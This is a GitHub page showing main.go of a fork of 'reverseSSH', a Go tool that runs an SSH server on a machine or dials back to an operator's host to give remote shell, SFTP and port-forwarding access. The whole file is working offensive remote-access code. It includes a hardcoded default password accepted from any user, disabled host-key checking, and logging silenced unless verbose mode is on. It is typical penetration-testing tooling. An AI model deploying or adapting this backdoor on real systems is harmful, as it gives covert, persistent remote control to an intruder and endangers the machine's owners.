forked from Fahrj/reverse-ssh
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.go
More file actions
246 lines (216 loc) · 6.88 KB
/
main.go
File metadata and controls
246 lines (216 loc) · 6.88 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
// reverseSSH - a lightweight ssh server with a reverse connection feature
// Copyright (C) 2021 Ferdinor <[email protected]>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
package main
import (
"bytes"
"flag"
"fmt"
"io"
"io/ioutil"
"log"
"os"
"path"
"strings"
"syscall"
"github.com/gliderlabs/ssh"
"github.com/pkg/sftp"
gossh "golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/terminal"
)
// The following variables can be set via ldflags
var (
localPassword = "letmeinbrudipls"
authorizedKey = ""
defaultShell = "/bin/bash"
version = "1.1.0"
)
var help = fmt.Sprintf(`reverseSSH %[2]s Copyright (C) 2021 Ferdinor <[email protected]>
Usage: %[1]s [options] [<user>@]<target>
Examples:
Bind:
%[1]s
%[1]s -v -l :4444
Reverse:
%[1]s 192.168.0.1
%[1]s [email protected]
%[1]s -p 31337 192.168.0.1
%[1]s -v -b 0 [email protected]
Options:
-s, Shell to use for incoming connections, e.g. /bin/bash; (default: %[5]s)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-l, Bind scenario only: listen at this address:port (default: :31337)
-p, Reverse scenario only: ssh port at home (default: 22)
-b, Reverse scenario only: bind to this port after dialling home (default: 8888)
-v, Emit log output
<target>
Optional target which enables the reverse scenario. Can be prepended with
<user>@ to authenticate as a different user than 'reverse' while dialling home.
Credentials:
Accepting all incoming connections from any user with either of the following:
* Password "%[3]s"
* PubKey "%[4]s"
`, path.Base(os.Args[0]), version, localPassword, authorizedKey, defaultShell)
func dialHomeAndServe(homeTarget string, homeBindPort uint, server ssh.Server) error {
var (
err error
client *gossh.Client
sshHomeUser string
sshHomeAddr string
)
if homeBindPort > 0xffff || homeBindPort < 0 {
return fmt.Errorf("%d is not a valid port number", homeBindPort)
}
target := strings.Split(homeTarget, "@")
switch len(target) {
case 1:
sshHomeUser = "reverse"
sshHomeAddr = target[0]
case 2:
sshHomeUser = target[0]
sshHomeAddr = target[1]
default:
log.Fatalf("Could not parse '%s'", target)
}
config := &gossh.ClientConfig{
User: sshHomeUser,
Auth: []gossh.AuthMethod{
gossh.Password(localPassword),
},
HostKeyCallback: gossh.InsecureIgnoreHostKey(),
}
// Attempt to connect with localPassword initially and keep asking for password on failure
for {
client, err = gossh.Dial("tcp", sshHomeAddr, config)
if err == nil {
break
} else if strings.HasSuffix(err.Error(), "no supported methods remain") {
fmt.Println("Enter password:")
data, err := terminal.ReadPassword(int(syscall.Stdin))
if err != nil {
log.Println(err)
continue
}
config.Auth = []gossh.AuthMethod{
gossh.Password(string(data)),
}
} else {
return err
}
}
defer client.Close()
ln, err := client.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", homeBindPort))
if err != nil {
return err
}
log.Printf("Success: listening on port %d at home", homeBindPort)
return server.Serve(ln)
}
func SFTPHandler(s ssh.Session) {
server, err := sftp.NewServer(s)
if err != nil {
log.Printf("Sftp server init error: %s\n", err)
return
}
log.Printf("New sftp connection from %s", s.RemoteAddr().String())
if err := server.Serve(); err == io.EOF {
server.Close()
log.Println("Sftp connection closed by client")
} else if err != nil {
log.Println("Sftp server exited with error:", err)
}
}
func main() {
var (
homeSshPort uint
homeBindPort uint
shell string
bindAddr string
verbose bool
)
flag.Usage = func() {
fmt.Print(help)
os.Exit(1)
}
flag.UintVar(&homeSshPort, "p", 22, "")
flag.UintVar(&homeBindPort, "b", 8888, "")
flag.StringVar(&shell, "s", defaultShell, "")
flag.StringVar(&bindAddr, "l", ":31337", "")
flag.BoolVar(&verbose, "v", false, "")
flag.Parse()
if !verbose {
log.SetOutput(ioutil.Discard)
}
var (
forwardHandler = &ssh.ForwardedTCPHandler{}
server = ssh.Server{
Handler: makeSSHSessionHandler(shell),
Addr: bindAddr,
PasswordHandler: ssh.PasswordHandler(func(ctx ssh.Context, pass string) bool {
passed := pass == localPassword
if passed {
log.Printf("Successful authentication with password from %s@%s", ctx.User(), ctx.RemoteAddr().String())
} else {
log.Printf("Invalid password from %s@%s", ctx.User(), ctx.RemoteAddr().String())
}
return passed
}),
LocalPortForwardingCallback: ssh.LocalPortForwardingCallback(func(ctx ssh.Context, dhost string, dport uint32) bool {
log.Printf("Accepted forward to %s:%d", dhost, dport)
return true
}),
ReversePortForwardingCallback: ssh.ReversePortForwardingCallback(func(ctx ssh.Context, host string, port uint32) bool {
log.Printf("Attempt to bind at %s:%d granted", host, port)
return true
}),
ChannelHandlers: map[string]ssh.ChannelHandler{
"direct-tcpip": ssh.DirectTCPIPHandler,
"session": ssh.DefaultSessionHandler,
},
RequestHandlers: map[string]ssh.RequestHandler{
"tcpip-forward": forwardHandler.HandleSSHRequest,
"cancel-tcpip-forward": forwardHandler.HandleSSHRequest,
},
SubsystemHandlers: map[string]ssh.SubsystemHandler{
"sftp": SFTPHandler,
},
}
)
if authorizedKey != "" {
server.PublicKeyHandler = ssh.PublicKeyHandler(func(ctx ssh.Context, key ssh.PublicKey) bool {
master, _, _, _, err := ssh.ParseAuthorizedKey([]byte(authorizedKey))
if err != nil {
log.Println("Encountered error while parsing public key:", err)
return false
}
passed := bytes.Compare(key.Marshal(), master.Marshal()) == 0
if passed {
log.Printf("Successful authentication with ssh key from %s@%s", ctx.User(), ctx.RemoteAddr().String())
} else {
log.Printf("Invalid ssh key from %s@%s", ctx.User(), ctx.RemoteAddr().String())
}
return passed
})
}
switch len(flag.Args()) {
case 0:
log.Printf("Starting ssh server on %s", bindAddr)
log.Fatal(server.ListenAndServe())
case 1:
log.Printf("Dialling home via ssh to %s:%d", flag.Args()[0], homeSshPort)
log.Fatal(dialHomeAndServe(fmt.Sprintf("%s:%d", flag.Args()[0], homeSshPort), homeBindPort, server))
default:
log.Println("Invalid arguments, check usage!")
os.Exit(1)
}
}